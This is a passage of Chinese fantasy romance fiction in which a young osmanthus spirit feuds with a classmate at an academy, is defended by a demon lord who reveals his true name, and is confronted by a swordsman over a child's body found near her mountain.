在经过绪岁安身侧时,瑶芩放缓了脚步,用只有她们两个才能听到的声音狠狠威胁道,“再敢碍我事,我连你一起办。”她又扭头对且林说:“还不快过来?”且林只得默默跟在瑶芩后头不作声。
书案上的烛台一熄一窜,吸引了众人的注意力,有人喊道,“快开学了,快坐好快坐好!”
绪岁安坐回位子上,不一会,烛台窜出一股蓝紫色火焰,讲学台旁走进一道青色身影,是与云螭交谈的那老者。
“老夫名为储枫,你们平常叫我储夫子即可。”
“大家来到我相墨堂定是来习练更多知识与法术的,今日老夫便同你们说好,相墨堂内无法使用法术,也希望你们能和谐相处,不管你们背靠何人,一旦犯了错,谁都包庇不了你们。”
“不能使法术,那怎么学嘛......”底下抱怨声接连不断。
瑶芩回头对上绪岁安的眼,心中怒火仍消不下,她心道:定是这家伙去告诉了夫子,夫子才特意如此提醒!
这梁子,算是结下了。
绪岁安一脸‘你想咋’的表情迎上瑶芩的目光,或是习得魔头真传,一脸阴沉模样盯得瑶芩有些发怵,秉着‘日后走着瞧’的想法转回身。
16.第16章 好一朵未养成的小白莲
快要下学时,绪岁安正欲走便瞧见且林坐在一旁止不住的哭泣。
且林抬眼,绪岁安朝她递来手帕,“别哭了。”
“谢谢。”
绪岁安坐到她身边,看她仍颤抖的身体忍不住开口:“怎么了?你有什么不开心的可以同我说说,说出来或许就会好许多。”
且林看向她时她像是忽然想起什么般摆摆手,作出三根手指并拢朝上的动作,满脸认真:“我嘴可牢了,定不说与第三人听!”
忽而,且林抓住绪岁安的手:“你别为了我去同瑶芩闹,她背后有宫主撑腰。”
闻言绪岁安蹙眉。
宫主?
想想也是,相墨堂是弥族的领地,弥落宫宫主能插手倒也不足为奇。
“岁安,你能帮我个忙吗?”且林攀上绪岁安的手,渴求的眼神望着她。
“当然可以啊,什么忙?”
绪岁安跟随且林的目光至旁的一棵古树上。古树最高处的枝头上悬着一块玉佩,红色流苏随风飘扬,绪岁安似是猜到了她为何哭泣。
她扬扬手,一副没问题包在我身上的模样,但待她站在树底抬头仰看,有些担忧地吞咽几下,对上且林时又若无其事般挥挥手。
相墨堂内不得使用法术,那她只得硬爬。只她从未爬过如此高的树,若摔下来,必定要躺个百八十天。但一想到且林那模样,她更加坚定,缕起袖子就开干。
爬过树干到那枝头时,绪岁安抱着树干小心地跨出一只脚,确定踩实后才慢慢将重心移至树枝根上。
绪岁安缓慢小步挪动,生怕踩了空,快要到枝头时伸出颤抖的手一把将那玉佩抓来。她松了一口气,退回树干旁靠着就等不及地笑著向且林挥手展示。
“绪岁安你在干什么!”
一道突然又急促的声音传来,绪岁安脚一滑,后就听到“咔嚓”的清脆声,她心咯噔一下,心想道:完蛋了……
树枝断裂,失重感袭来,绪岁安尖叫一声,条件反射地捂护住自己的脸,任由下坠。
而手上的时环发出灿烂金光,一簇一簇团垫在绪岁安身后托举。见预想的疼痛并未袭来,绪岁安手指才打开一条缝,是时环!
那团金光轻轻将她放至地面后瞬间向四周消散。
“大胆绪岁安!竟敢突破结界使用法术!”瑶芩指着绪岁安喊道。
绪岁安缓过神来,她看向掉落在地上的整根树枝。
“你们在干什么?”不远处闻声小跑来一位老者,在看到此情此景时瞬间暴怒。
“马夫子,我来的时候绪岁安就在古树上头,更是将树枝压垮了!”瑶芩答道。
“那分明是道切口,是有人要暗害我!我替且……”绪岁安忽反应过来,扭头看向且林,只见她一脸无辜状地摆手。
见绪岁安如此就吃了瘪,瑶芩笑意更深;“谁要害你啊,是你自己上树,可有人逼你?”
……
“云螭。”见云螭进来,危止摆弄着花草故作不在意道,“那小妖还未下学吗?”
云螭一脸尴尬,他正有事要向尊上禀报。“相墨堂那头传话来,说,说……”他偷瞟着危止,生怕他听到后震怒。
“何事?说吧。”
“那小桂花妖同瑶芩打架,现正罚跪在堂内!”云螭烫嘴地将所听闻的都告知,心里真心觉着这小桂花精真能惹事。
危止抬眼,手中的动作停下,“哦?”
云螭将头埋得更低,生怕殃及到他。却冷不丁听到自家尊上说得荒谬。
“打赢了吗?”
“赢,赢了……”
危止眼中笑意弥漫,似甚是满意,却未发觉角落的生玄琴弦一震,随后一道光波袭来,危止抬手挡下。
“知道了。”危止漫不经心答道。
云螭一僵,他从未见过生玄琴发怒,更别说是对着尊上。
相墨堂内,
绪岁安跪在冰凉的地板上,满脸不服气地盯着面前座上的人。
“你什么态度!”马夫子将茶盏扫落在地,溅起的碎瓷片快要划到绪安的脸,时环将碎瓷片反方向弹回,将一旁的纸窗一连扎了好几个洞。
瑶芩站在马夫子身侧暗自得意,心道:这可是马夫子最爱的古树,这绪岁安这下可是遭了,叫她打我!活该!
“你你你!竟还敢在相墨堂内使用法术!冥顽不灵!”马夫子气极了,超起手边的戒尺,扬起手便要朝绪岁安打去。
戒尺并未打在身上,再抬头时,发现马夫子手中空空,神色也变得惶恐。
“尊,尊上,什么风把您吹来了?”马夫子半弓着背,扬起讨好的笑,似是刚刚发怒的人不是他。
危止垂眸看向地上衣衫发饰乱蓬蓬的绪岁安,白皙的脸蛋上出现的几条灰印红痕,他不经蹙起了眉,不知为何,他的心也如她那般,有些乱。
“这小仙,冥顽不灵,毁坏堂内花草树木不说,还虐打同学。”马夫子见危止不言,小心打量着解释道。
瑶芩见状瞬间跪伏在地,或是觉得这魔尊同弥落宫宫主交谈过,想必也会给宫主几分面子,定会为她惩治了绪岁安那家伙。
“你上前来。”
云螭拦住刚要上前“诉苦水”的瑶芩。
“尊上!”瑶芩道。
“是你。”危止静静望着绪岁安。
绪岁安缓缓抬头,生怕魔王嫌她惹事而厌弃她,那到时天族欲对她不利也没人护着她了。但当她颤颤巍巍地对上他那平静眼眸时,好像一切都变了。
绪岁安歪歪头,危止食指轻点着额间,饶有兴致看着她,眉梢带上笑意。
他这是?
真是魔王啊……
绪岁安眼前一亮,似是了解,她跪着向前挪了几步,露出一副楚楚可怜的模样,眼巴巴地盯着眼前人。
“尊上~”绪岁安伸出手,露出打过手板的痕迹,掌心通红,又马上收回,十指紧握。
“我只不过是帮同学取挂在枝头的玉佩,不小心失足跌落,瑶芩便说我故意毁坏马夫子的花草树木,我也是一棵小树妖,怎会忍心残害同类呢?”绪岁安捂着心口,一副受了伤了的模样。
好一朵未长成的小白莲……
危止瞥眼瞧见她手背上的红痕,心下一触,他撇开眼尽力不去再看她,虽知道她多有演的成分,可他心中那道火却愈烧愈烈。
“尊上,您可千万别听绪岁安胡说啊!她本性至坏,她根本就是骗您的啊!”瑶芩见状喊道。
话刚说完,那段断了的枝子从空间掉落,狠狠砸在地上发出沉沉闷声。
“
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尊上!您看!”绪岁安迅速抱起根部面向危止,脸上的灰土也未来得及拭去,宛如一只永不屈服的小兔。
树枝根部切面平整,刀口整齐,明显是有人专门用刀具划过,后无论谁踩在上面,都会将它折断,那个作恶的人就自然可以将问题甩锅给她了。
绪岁安扭头,对上瑶芩有些慌乱的神情,她不明白,她是做了什么恶能让瑶芩专为了她去设下陷阱。
“尊上!这是诬陷!”
绪岁安歪头:“我没说话呀。”
“尊上,这瑶芩在堂内表现出色,老夫并不相信她会干出此番的事来诬陷绪岁安。”马夫子行礼替瑶芩担保,“倒是这绪岁安,来相墨堂第一天便与同窗闹了矛盾……”
“还请尊上做主!”马夫子将身体埋得更低,似是势必要一个答案。
危止不语,只一味地盯着绪岁安那可怜兮兮的模样。
不知何时,她已出现在眼前,抓着危止的脚,大声“抽泣”。
“呜呜呜尊上……我不是故意的呜呜呜……”
绪岁安抽空抹了抹眼泪,“当然了,瑶芩姐姐也一定不是故意的……”
危止只垂眸看了她一眼,她便扑靠在他的腿上。
“尊上,您一定要为我做主啊!……”
外头“轰隆”一声,又一阵沉闷的声音传来。下一秒赵衡之同一黑袍男人进殿。
那男人带着黑色面具,眼神晦暗不明,站在绪岁安身边停下,朝上座的危止颔首行礼。站在后头的青衣男人也拜了礼,环顾周围开口:“好巧啊,怎么都在这儿?”
“听闻尊上驾临,在下在来的路上便碰上了弥落宫宫主,这才料想是几个小仙闹出的事端,竟将二位都请来了。”
“这一来啊,竟真是如此。”赵衡之收起扇,故作殷切对着马夫子关切道,“马夫子还不知吗?”
马夫子一脸鄙夷,这个赵衡之又在搞什么幺蛾子,只他再开口时便再也坐不住。
“外头那棵古树,已被雷劈得四分五裂,您还不去看看?”
支走了马夫子,那面具男终于开口:“今日是我宫里人不懂事,还望尊上见谅。”
瑶芩仍有些不服气,却被面具男撇了一眼后悻悻闭嘴。
“外头那罪恶之源已被我毁坏,我会同马夫子交谈清楚,定不让他误会了谁。”
危止一笑:“好啊,宫主还是那般,善解人意。”
“那今日的事——”
“那便罚她……”
绪岁安抢答道:
“将那些散落的枝叶打扫干净,并将古树修复原样!”
“好,那便如此!”赵衡之颇为满意地抬手接话道。
危止气极反笑,这小桂花妖竟敢做他的主。他刚要开口,左脚踝便被握住,对上那双“装模作样”可怜巴巴的黑眸,无奈将腿撤开。
危止看着地上那只此番做派,莫名窝了一股火,忽而一触,改变了主意。
一件小事罢了,那便由着她去……
“赵夫子,您还是如此,分毫未变啊。”
赵衡之朝面具男行拜别礼却也不让:“不敢不敢,倘若让尊上罚——”
面具男嗤笑:“那本宫还得感谢你了。”
赵衡之扬扬手离开,“岂敢?岂敢!”
17.第17章 我的世界彻底向你展开
“噗通”。
绪岁安垂着头,瑞灏殿的地板倒映出她的面容。危止站在前处静静看着她,殿内两人僵持着不发一言。
绪岁安正纠结着是否要主动认错,可是她拗不过自己的心,她又没有错……但是,她给他惹麻烦了。
这些日子,她惹了大大小小不少的麻烦。
正斟酌不安时,一双宽厚的大手附上她的脸颊,轻轻擦去她脸上的灰土。
绪岁安恍惚抬头,她瞧见那高高在上的魔王此刻竟单膝跪地为她仔细拭去污渍。
危止见她呆傻模样,拇指与食指轻捏她的小脸,轻声细语,格外温柔,“不后悔?”
绪岁安回过神:
“不后悔,她乱说话,该。”
……
“你别以为那魔尊身边的云螭给你打好关系,你就可以在这弥族地界为所欲为了!”
瑶芩用力推着绪岁安的肩膀,要不是背靠那古树,她怕是要摔倒。
“你靠着魔尊的关系进来这相墨堂,本就该老老实实,可你呢?非要同我作对。”
绪岁安不解,这瑶芩是吃了什么炸药,今日第一天入学,只是她想帮且林出头讲理,她便如此记恨?
“那魔尊也是,先是在天族弑父夺位不成,后又来魔族杀了老魔尊同那些族老而取而代之,那先天帝好歹是他的救命恩人呐!他竟如此恩将仇报。”
“此等十恶不赦之人,就应该下地狱!永世不入轮回!”
“那魔王如此冷血,想必死了区区一只小妖,他也毫不在意吧?”瑶芩站在‘至高处’从上而下地打量着绪岁安,语气高傲又得意。
不知是出于什么原因,绪岁安听到瑶芩辱骂危止时,不自觉紧了拳头,她也未曾料到,自己竟会为了那危止冲动地想要将瑶芩揍个痛快。
瑶芩见绪岁安冷了脸不满其态度,便上前去用力拉扯绪岁安的发。
绪岁安“嘶”了声,心中怒火再也压制不下,将瑶芩扑倒在地。
果然,女孩子干架第一件事就是扯头花……
场面一度混乱,旁人不敢轻易靠近。瑶芩原先簪满的漂亮头花被绪岁安‘恶狠狠’地悉数拔去,抛飞在空中自然落下,二人扭打在一块儿,互不相让。
“你放手啊死绪岁安!”瑶芩疼的直咬牙,扯着绪岁安的胳膊,吃力一脚踩上绪岁安的脸颊。
“弑父夺位的不是他!”绪岁安咬着牙,不遑多让,双腿死死钳制住瑶芩的脖颈。
“为了那凶残狡猾的魔头,你至于吗喂!”
僵持了许久,“你还敢要我的命!”,绪岁安抓住瑶芩泄力的机会坐起。“我去你的!”,给瑶芩奋力来上一拳。
“道歉!”
“我不!”
“不道歉是吧?”
时环‘恰巧’泛出一道浅浅光辉,原本柔柔的一拳瞬间将瑶芩锤得鼻青脸肿。
“大仇得报”的爽感逝去思绪归于平静,绪岁安见眼前肿得同猪一般的瑶芩,吓得手停在半空,马夫子抓住机会逮制住,遂有了绪岁安跪在相墨堂内的场景。
视线落在他那黑袍袖口处被她何时蹭上的灰尘,想起听闻的危止有洁癖,绪岁安伸手想要为其擦去,却被牢牢握住在手心。
“你做的很对。”
语气平淡,似是与他无关的模样。危止将绪岁安额前的碎发撇向耳后,寒凉刺骨,道,“她若想要你的命,那你便杀了她,挫骨扬灰。”
后四个字的咬音极重,杀意毫不遮掩。
“倘若本座不在你身边,也绝不能让他人随便欺负了去。”
“那万一闹出了事,给你惹麻烦了呢?”绪岁安看向他。
危止拿出帕子低头擦着绪岁安的手。
“我给你兜底。”
绪岁安一瞬愣住,他这是什么意思?
“那,如若是天大的麻烦,天要塌下的祸事呢?”
危止抬头看她,没有任何表情。
“那就把天撕了。”
危止脱空而出的一句随意语,却听的绪岁安头皮发麻,这不愧是魔王啊……竟然能道出如此狂妄的话来。
“不行!”绪岁安立刻反抓住危止的手,坚定的神情不容置疑,“若如此,你便就真成了毁天灭地的魔王了!”
闪躲的眼神对上那真诚眼眸时,他倏然怔住,从未有人真正关心过他的未来,均是希望他不要碍着谁的路。
他的一生就像是一枚棋子。
需要时可随时搬来,不需要时就可当作废物般随意舍弃。
他将一切视作常态,可一旦有人真正关心他时,他就会变得无措、迷茫,不知如何反馈与接受这一切。
一行泪珠无感滑落在脸颊,绪岁安不忍,伸手为他拭去,才将他的思绪牵回。
危止有些错愕惊异,几千年未曾落一滴泪的他,竟在此时,不禁,哭了?
耳廓燎原般红烫的彻底,不知为何,每每当那小桂花精靠近他时,他总有种熟悉感袭卷,并不像排斥他人般排斥她,甚至有时还总会期待她的靠近。
危止盯着绪岁安沉思许久,终鼓起勇气朝她坚定开口。
“绪岁安。”
“嗯?”
“我不叫危止。”
绪岁安看向他,似是早已有了猜想,“纪行?”
她的声音轻轻,他却听的一清二楚,他未曾想过当她喊出他的名字时,心竟会彻底漏拍。
“那,危止呢?”
“名号。”危止不由自主向绪岁安贴近。
绪岁安一愣,僵在那儿。她只觉得心跳得太快,闭上眼,静静听着那快要跳出胸膛的心跳声。
忽然,一道急促的声音由远及近。
“尊上!外头有只小妖妄图擅闯魔宫界限!”
云螭突然的闯入,绪岁安睁眼别开头,丝毫未察觉身后危止啧了声,宛若一个怨妇般盯着云螭的模样。
云螭不自在惊恐地后退一小步,他又做错了何事?
“那小妖,是不是小小一只,扎着俩黑色小辫儿?”绪岁安问道,
“对啊!咦你怎么知道?”
绪岁安将帕子塞回纪行手中,踉跄站起身就往外跑。云螭感到了股强烈凝视,对上纪行的眼,瞬间跪倒在地。
“桂花姐姐,你可算来了!”小蚁妖见她这副模样有些纳闷,“你,你这是发生了什么?”
“快说快说什么事?”
“有一人间的白发男子‘气势汹汹’找到我,问我你在哪,可有回绪照山。”
白发男子,莫非是……?
“
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那他现在是否还在绪照山?”
小蚁妖奋力点点头,“他威胁我!他让我传讯给你,让你去绪照山一趟,倘若你不去,他便要将我好不容易打的窝毁了!”
“桂花姐姐!你一定要守护我的窝啊!”
绪照山下,小蚁妖呆在绪岁安身旁担忧念叨着。在他们初遇之地,十七撑着腿抱着佩剑坐在木牌边,发觉来了人抬眼对上她的眼。
才几天没见,他便换了副态度,冷漠的眼中带着犀利怨毒的神色。小蚁妖抖了一激灵,“桂花姐姐,我先走了,我有点冷……”
十七站起身,一步步向绪岁安走来。
待站在绪岁安面前时,一道寒光闪过。
一把银白透亮的剑出鞘,横压在她的脖颈处。
“说,为什么要这么做?”十七的声音凛冽,似是参杂着一丝的失望。
绪岁安一头雾水,她到底做了什么伤天害理的事儿能让十七赶着来杀她。莫不是——他也是瑶芩那儿的人?爱慕者?
绪岁安赶忙摆手,“是瑶芩先招惹我的,我只不过还个小手罢了,倒也不至于这么为她出气吧。”绪岁安偷摸着想要远离那把剑。
见她不知所云的模样,十七只觉得她在装傻,剑刃离她更近了分,快要压出一道血痕时,一股巨力使得剑从中断开,砸在地上发出清脆的响声。
十七傻了眼,这绪照山真是邪门!
忽的,一深袍男人出现在绪岁安身前,呈一保护状态。
“你是谁!”十七怒目圆睁却又难掩心中不安。
纪行侧身探手查看绪岁安伤势,并没理会。
绪岁安见情况不妙,拦在纪行前面抢答道:“我哥!恩……”纪行刚要反驳,低头却见那绪岁安为了按住他牵着的手,瞬消了火由着她。
“你只是只小桂花妖,而他却能将我这云铁剑断开必不是等闲之辈。”十七显然不信。
“对呀!我是绪照山上的一棵小桂花树,而我哥哥因实力气运雄厚,早早成了绪照山山神,算半个神了实力当然不遑多让!”
“不信我让我哥哥给你展示一遍!”绪岁安见十七仍有疑虑,拍拍胸脯保证道。
十七握着剑柄向前一伸,才想起剑已被毁。
绪岁安强忍下笑意,转身拍拍纪行的肩,“哥哥,展示!”
纪行站在原地,不解地朝她挑眉。只见绪岁安一副恳求模样,双手合十举过额头,就差给他跪下参拜磕头了。
纪行无语地撇嘴,轻轻抬手间,整个绪照山都散发出淡黄色光芒,环绕在绿植草地之间,似是在温养它们。
“你看吧!”绪岁安有理有据般叉腰抬头。
十七终是信下,只眉间仍紧锁着。
“那你可知人间孩童消失?”
绪岁安摇摇头,“这和我,和我哥哥有何关?”
“一具孩童的尸身,是在绪照山山脚发现的。”十七紧盯着绪岁安,试图从她的表情中寻找真相。
绪岁安反应得极快:“你是不是傻啊,绪照山有结界,凶手无法进入绪照山只得将尸体扔在绪照山山脚,显然就是嫁祸啊!”
十七似是被绪岁安点醒,却仍有不解。
“可,又有谁知道此处呢?”
“他又为何要将尸身扔在此处?”